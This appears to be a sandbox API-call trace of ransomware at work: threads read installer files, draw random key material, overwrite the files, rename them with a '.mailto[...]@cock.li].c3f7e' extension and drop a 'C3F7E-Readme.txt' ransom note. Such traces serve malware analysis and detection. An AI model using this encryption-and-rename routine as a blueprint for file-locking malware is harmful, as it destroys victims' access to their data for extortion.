	[0075.868] NtQuerySystemTime (in: CurrentTime=0xa08f85c | out: CurrentTime=0xa08f85c*=132251868026065126) returned 0x0
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xb2d0d009
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x1320caad
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xd2ac4c46
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x38401382
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xd950f886
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x6333b1b0
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xe6948e6a
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xc59a4abc
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x6a3fa0a0
	[0075.868] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xeeafbe19
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x1545933c
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x34b4e6ab
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x6cda616e
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xfac50ddb
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xcbc79014
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x18497c1a
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x4886331
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x79f39a71
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x107f2ad8
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x4935952d
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x1ba91bfc
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x8330a3b9
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xac64971e
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x39c7b743
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xd6cd05aa
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xf074df47
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x738afd1f
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xc0a9be29
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xfe3736e8
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x1af25942
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0xd32ff3ea
	[0075.869] RtlRandom (in: Seed=0xa08f868 | out: Seed=0xa08f868) returned 0x71dfe547
	[0075.877] ReadFile (in: hFile=0x9a8, lpBuffer=0x492d8b8, nNumberOfBytesToRead=0x318f, lpNumberOfBytesRead=0xa08f858, lpOverlapped=0x0 | out: lpBuffer=0x492d8b8*, lpNumberOfBytesRead=0xa08f858*=0x318f, lpOverlapped=0x0) returned 1
	[0075.880] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.880] WriteFile (in: hFile=0x9a8, lpBuffer=0x493a0c0*, nNumberOfBytesToWrite=0x318f, lpNumberOfBytesWritten=0xa08f854, lpOverlapped=0x0 | out: lpBuffer=0x493a0c0*, lpNumberOfBytesWritten=0xa08f854*=0x318f, lpOverlapped=0x0) returned 1
	[0075.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724b58
	[0075.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a90
	[0075.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a90) returned 1
	[0075.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x493a0c0) returned 1
	[0075.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d8b8) returned 1
	[0075.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0075.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73cd8) returned 1
	[0075.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724a40
	[0075.881] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.881] WriteFile (in: hFile=0x9a8, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa08f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa08f8bc*=0x101, lpOverlapped=0x0) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247c0) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248b0) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a40) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b58) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0075.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724810) returned 1
	[0075.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78d08
	[0075.885] wcscpy (in: _Dest=0x2d78d08, _Source="C:\\588bce7c90097ed212\\1042\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf"
	[0075.885] wcscat (in: _Dest=0x2d78d08, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.885] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa08f874, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d60f50
	[0075.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60f50) returned 1
	[0075.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2af38) returned 1
	[0075.888] NtQueryInformationFile (in: FileHandle=0x9a8, IoStatusBlock=0xa08f880, FileInformation=0xa08f858, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa08f880, FileInformation=0xa08f858) returned 0x0
	[0075.888] NtSetInformationFile (FileHandle=0x9a8, IoStatusBlock=0xa08f880, FileInformation=0xa08f858, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78d08) returned 1
	[0075.889] FlushFileBuffers (hFile=0x9a8) returned 1
	[0075.892] CloseHandle (hObject=0x9a8) returned 1
	[0075.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.892] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1042\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0075.892] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt"
	[0075.892] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.893] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9a8
	[0075.893] WriteFile (in: hFile=0x9a8, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa08f87c, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa08f87c*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.895] CloseHandle (hObject=0x9a8) returned 1
	[0075.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730790) returned 1

Thread:
	id = 197
	os_tid = 0xf94

	[0075.891] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0075.896] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.897] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a8
	[0075.897] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0xa10f950 | out: lpFileSize=0xa10f950*=65238) returned 1
	[0075.897] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0xfed2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.897] ReadFile (in: hFile=0x9a8, lpBuffer=0xa10f8d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa10f8d0, lpOverlapped=0x0 | out: lpBuffer=0xa10f8d4*, lpNumberOfBytesRead=0xa10f8d0*=0x4, lpOverlapped=0x0) returned 1
	[0075.898] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.898] NtQuerySystemTime (in: CurrentTime=0xa10f8b0 | out: CurrentTime=0xa10f8b0*=132251868026377636) returned 0x0
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x1200937c
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x85f9db20
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x2338c12c
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xa8ea0989
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xa4b33972
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x380e4dac
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xcf255abe
	[0075.898] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x802a263
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xcf1f3c67
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x5183d8c2
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x5b18c71a
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x50818a34
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x3076c08d
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x6f23af17
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x49b2b90f
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xb45601f9
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xf695f647
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xe25df62a
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xf477858e
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xb8d5e87b
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xf68b4cd3
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x123347fb
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x3414987a
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x801f43bf
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xa0bc3fed
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x8eda714e
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x8acd8efd
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x4e7e23fc
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xc177197f
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x4688fa35
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0x163b7c8
	[0075.899] RtlRandom (in: Seed=0xa10f8bc | out: Seed=0xa10f8bc) returned 0xea7e6b76
	[0075.907] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.907] ReadFile (in: hFile=0x9a8, lpBuffer=0x492d8b8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa10f890, lpOverlapped=0x0 | out: lpBuffer=0x492d8b8*, lpNumberOfBytesRead=0xa10f890*=0xc800, lpOverlapped=0x0) returned 1
	[0075.911] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0075.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04e28
	[0075.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c98
	[0075.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c98) returned 1
	[0075.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x493a0c0
	[0075.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724ab8
	[0075.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724c48
	[0075.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724c48) returned 1
	[0075.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0075.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0075.912] WriteFile (in: hFile=0x9a8, lpBuffer=0x493a0c0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa10f890, lpOverlapped=0x0 | out: lpBuffer=0x493a0c0*, lpNumberOfBytesWritten=0xa10f890*=0xc800, lpOverlapped=0x0) returned 1
	[0078.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x493a0c0) returned 1
	[0078.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d8b8) returned 1
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47350f0
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae38
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753e30
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0078.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4781fb8
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0078.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0078.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753e30) returned 1
	[0078.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae38) returned 1
	[0078.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771f58
	[0078.627] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.627] WriteFile (in: hFile=0x9a8, lpBuffer=0x4771f58*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa10f910, lpOverlapped=0x0 | out: lpBuffer=0x4771f58*, lpNumberOfBytesWritten=0xa10f910*=0x113, lpOverlapped=0x0) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771f58) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781fb8) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47350f0) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ab8) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0078.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b08) returned 1
	[0078.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49861d0
	[0078.653] wcscpy (in: _Dest=0x49861d0, _Source="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml"
	[0078.653] wcscat (in: _Dest=0x49861d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.653] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa10f8c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769ea8
	[0078.653] NtSetInformationFile (FileHandle=0x9a8, IoStatusBlock=0xa10f8c0, FileInformation=0x4769ea8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769ea8) returned 1
	[0078.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d568) returned 1
	[0078.702] NtQueryInformationFile (in: FileHandle=0x9a8, IoStatusBlock=0xa10f8d4, FileInformation=0xa10f8ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa10f8d4, FileInformation=0xa10f8ac) returned 0x0
	[0078.702] NtSetInformationFile (FileHandle=0x9a8, IoStatusBlock=0xa10f8d4, FileInformation=0xa10f8ac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49861d0) returned 1
	[0078.703] FlushFileBuffers (hFile=0x9a8) returned 1
	[0080.052] CloseHandle (hObject=0x9a8) returned 1
	[0080.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.168] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1042\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0080.168] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt"
	[0080.168] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\c3f7e-readme.txt")) returned 0x20
	[0080.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a4b0) returned 1

Thread:
	id = 198
	os_tid = 0xed8

	[0075.908] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0075.908] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.909] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a4
	[0075.909] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0xa18fcd8 | out: lpFileSize=0xa18fcd8*=3546) returned 1
	[0075.909] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0xdd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.909] ReadFile (in: hFile=0x9a4, lpBuffer=0xa18fc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa18fc58, lpOverlapped=0x0 | out: lpBuffer=0xa18fc5c*, lpNumberOfBytesRead=0xa18fc58*=0x4, lpOverlapped=0x0) returned 1
	[0075.914] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0075.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724b58
	[0075.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0075.914] NtQuerySystemTime (in: CurrentTime=0xa18fc38 | out: CurrentTime=0xa18fc38*=132251868026533995) returned 0x0
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x93d66ef7
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x3d5ed845
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x7808b75a
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x5d21c924
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x4173a888
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xb74a12d
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xcecd103c
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xa6232269
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x6b51cb59
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xefb27f92
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xb1a0acdd
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xd7199cab
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x6c7f829e
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x7a005371
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xce326272
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x423e306f
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x1f01195f
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x4058731a
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x84362873
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x1834d95d
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x8ddadd92
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x81367b65
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x52d31814
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x1e92aff7
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x944a00aa
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0x256f2334
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xc0730b69
	[0075.914] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xf837ece6
	[0075.915] RtlRandom (in: Seed=0xa18fc44 | out: Seed=0xa18fc44) returned 0xd2ca88d5
